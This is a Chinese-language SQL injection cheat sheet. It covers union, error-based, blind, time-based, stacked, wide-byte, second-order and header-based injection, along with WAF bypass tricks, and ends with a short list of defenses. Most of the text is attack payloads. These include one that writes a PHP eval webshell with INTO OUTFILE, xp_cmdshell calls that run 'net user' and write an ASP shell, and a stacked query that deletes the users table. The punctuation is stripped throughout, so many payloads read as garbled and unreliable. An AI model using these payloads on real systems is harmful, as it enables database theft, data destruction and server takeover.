0x01SQL注入原理 当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。 攻击者通过构造不同的sql语句来实现对数据库的任意操作。0x02SQL注入的分类 按变量类型分:数字型和字符型 按HTTP提交方式分:POST注入、GET注入和Cookie注入 按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入 按数据库类型分:sql:oracle、mysql、mssql、access、sqlite、postgersqlnosql:mongodb、redis0x03MySQL与MSSQL及ACCESS之间的区别 1。MySQL5。0以下没有informationschema这个默认数据库 2。ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释举例:select1,2,3fromtablenameunionselect1,2,3fromtablename 3。MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)0x04判断三种数据库的语句MySQL:andlength(user())10ACCESS:and(selectcount()fromMSysAccessObjects)0MSSQL:and(selectcount()fromsysobjects)00x05基本手工注入流程 1。判断注入点数字型:id21字符型:、)、))、、)、))注释符:(这是空格)、、、 2。获取字段数 orderby二分法联合查询字段数,观察页面变化从而确定字段数orderby1orderby50 groupby译为分组,注入时也可使用,不过我没用过 3。查看显示位尝试使用联合注入 利用and12或and0及id12查看显示数据的位置 替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)and12unionselectversion(),2,3 再查询所有数据库and12unionselect(selectgroupconcat(schemaname)frominformationschema。schemata),2,3 查询所有表名unionselect(selectgroupconcat(tablename)frominformationschema。tables),2,3 查询所有字段名unionselect(selectgroupconcat(columnname)frominformationschema。columns),2,3 查询字段内容 如:查询test库下users表的id及uname字段,用区分id和uname以防字符连接到一起unionselect(selectgroupconcat(id,,uname)fromtest。users),2,30x06报错注入 通用报错语句:(测试版本MySQL8。0。12,MySQL5。0,mariadb5。5版本下)selectfromtestwhereid1and(extractvalue(1,concat(0x7e,(selectuser()),0x7e)));selectfromtestwhereid1and(updatexml(1,concat(0x7e,(selectuser()),0x7e),1));0x07布尔盲注 盲注中常用的函数: 1。char()解ASCII码 2。mid()截取字符串举例:mid(hello,1,3),从第1位开始截取3位,输出位hel 3。substr()与mid()相同,都为截取字符串 4。count()计算查询结果的行数 5。concat()查询结果合并但保持原有行数 6。groupconcat()查询结果合并但都放在一行中 7。ascii()查询ascii码 猜数据库长度(利用二分法)id1and(length(database()))1id1and(length(database()))50 猜第一个字符,第二个字符,以此类推andascii(mid(database(),1,1))1andascii(mid(database(),2,1))1 查询当前数据库中所有表名and(selectcount(tablename)frominformationschema。tableswheretablesschemadatabase())1and(selectcount(tablename)frominformationschema。tableswheretablesschemadatabase())10 查询第一个表的长度and(selectlength(tablename)frominformationschema。tableswheretablesschemadatabase()limit0,1)10 查询表的第一个字符andascii(mid((selecttablenamefrominformationschema。tableswheretableschemadatabase()limit0,1),1,1))1 查询atelier表里有几个字段and(selectcount(columnname)frominformationschema。columnswheretablenameatelierandtableschemadatabase())2 查询第一个字段长度andlength((selectcolumnnamefrominformationschema。columnswheretablenameatelierandtableschemadatabase()limit0,1))1 查询字段第一个字符andascii(mid((selectcolumnnamefrominformationschema。columnswheretableschemadb83231asfaaandTABLENAMEatelierlimit0,1),1,1))105 查询字段所有行数and(selectcount()fromdb83231asfaa。atelier)4 查询字段名的行数(查询emails表,uname字段)and(selectcount(uname)fromsecurity。emails)7查询uname的行数 查询字段内容length((selectusernamefromsecurity。userslimit0,1))10ascii(mid((selectusernamefromsecurity。userlimit0,1),1,1))100 将查询到的ASCII码放到mysql中查询 举例:selectchar(39); 0x08延时盲注 利用sleep(3)和if(12,1,0)及case进行延时注入,示例:selectfromuserwhereid1orsleep(3)23 这个没什么好说的selectfromuserwhereid1andif(length(version())10,sleep(3),0); 如果长度大于10,则睡3秒,其他则0秒selectfromuserwhereid1andcaselength(version())10when1thensleep(3)else0end; case定义条件,when后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。0x09多语句注入 多语句意思就是可以执行多个语句,利用分号进行隔开示例:id1;WAITFORDELAY0:0:3;deletefromusers;id1;selectif(length(user(),1,1)1,sleep(3),1)23;selectif(length((selecttablenamefrominformationschema。tableswheretableschemadatabase()limit0,1),1,1)1,sleep(3),1)230x10内联注入举例:id1!UNION!SELECT1,2,3 利用别名:unionselect1,2,3,4,a。id,b。id,from(sysadminasainnerjoinsysadminasbona。idb。id)0x11getshellid1unionselect1,2,(selectlt;?phpeval(POST〔1〕);?intooutfilevarwwwhtml404。php) 也可使用dumpfile进行写入 outfile和dumpfile的区别: outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。 数据库写入:execmaster。。xpcmdshellecholt;eXECutegLobaLrEquEst(0)c:wwwuploadFiles201911404。asp0x12宽字节注入 当编码位gbk时,df27或8127数据为空 就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页面恢复正常,存在宽字节注入 测试出来就可以使用sqlmap跑了,23333 加构造注入点(比p更稳定),让sqlmap对构造注入点进行注入攻击(优先级更高) 宽字节防御: 第10行代码必须和第24行必须同时使用,要么就更换编码格式0x13二次编码注入 代码中有urldecode()函数 2527先解码成27再解码成单引号sqlmapuhttp:192。168。100。141index。phpauthor123prefix2527suffix23 prefix为设置前缀suffix为设置后缀 设置后缀,防止sqlmap使用内联注0x14二次注入 abc数据经过addslashes过滤,单引号前面添加反斜杠abc,但传到数据库的数据还是abc 假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册usernametest,接下来访问xxx。php?usernametest,页面返回id22; 接下来再次发起请求xxx。php?id22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。 访问xxx。php?idtestunionselect1,user(),323,获得新的id40,得到user()的结果,利用这种注入方式会得到数据库中的值。0x15XFF头注入updateusersetloatloginip8。8。8。8whereid1andsleep(5)whereusernamezs; id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入 XForwardFor:127。0。0。1select1,2,user()0x16常用过WAF技巧1。特征字符大小写(基本没用)UnIoNSeLcT1,2,32。内联注释id1!UNION20!SELECT201,2,33。特殊字符代替空格09tab键(水平)、0a换行、0c新的一页0dreturn功能、0btab键(垂直)、a0空格4。等价函数和逻辑符号hex()、bin()ascii()sleep()benchmark()concatws()groupconcat()mid()、substr()substring()versionversion()datadirdatadir()逻辑符号:如and和or不能使用时,尝试和双管道符。5。特殊符号反引号,selectversion(),绕过空格和正则加号和点,和。代表连接,也可绕过空格和关键字过滤符号,用于定义变量,一个代表用户变量,代表系统变量6。关键字拆分selectSELCT1,2,3?id1;EXEC(master。。xpcmdshellnetuser)!和():or2!!!2id1(UnI)(oN)(SeL)(EcT)7。加括号绕过 小括号union(select1,2,3fromusers)23union(select(1),(2),(3)from(users))id(1)or(0x500x50)id(1)union(((((((select(1),hex(2),hex(3)from(users)))))))) 花括号select{xuser}from{xmysql。user}id1unionselect1,{x2},38。过滤and和or下的盲注idstrcmp(left((select20username20from20users20limit200,1),1),0x42)23idstrcmp(left((selectusernamefromlimit0,1),1,0x42)239。白名单绕过 拦截信息:GETpennews。php?id1unionselectuser,passwordfrommysql。user 绕过:GETpennews。phpadmin?id1unionselectuser,passwordfrommysql。userGETpenadmin。。ews。php?id1unionselectuser,passwordfrommysql。user10。HTTP参数控制 (1)HPP(HTTPParmeterPolution)(重复参数污染) 举例:index。php?id1unionselectusername,passwordfromusersindex。php?id1unionidselectidusername。passwordidfromidusers HPP又称作重复参数污染,最简单的是?uid1uid2uid3,对于这种情况,不用的web服务器处理方式不同。 具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过 (2)HPF(HTTPParmeterFragment)(HTTP分割注入) HTTP分割注入,同CRLF有相似之处(使用控制字符0a、0d等执行换行) 举例:?a1unionbselect1,passcfromusersselectfromtablewherea1unionandbselect1,passlimitfromusers0x17SQL注入防御 1。对用户输入的内容进行转义 2。限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度 3。使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数 4。添加WAF,防火墙等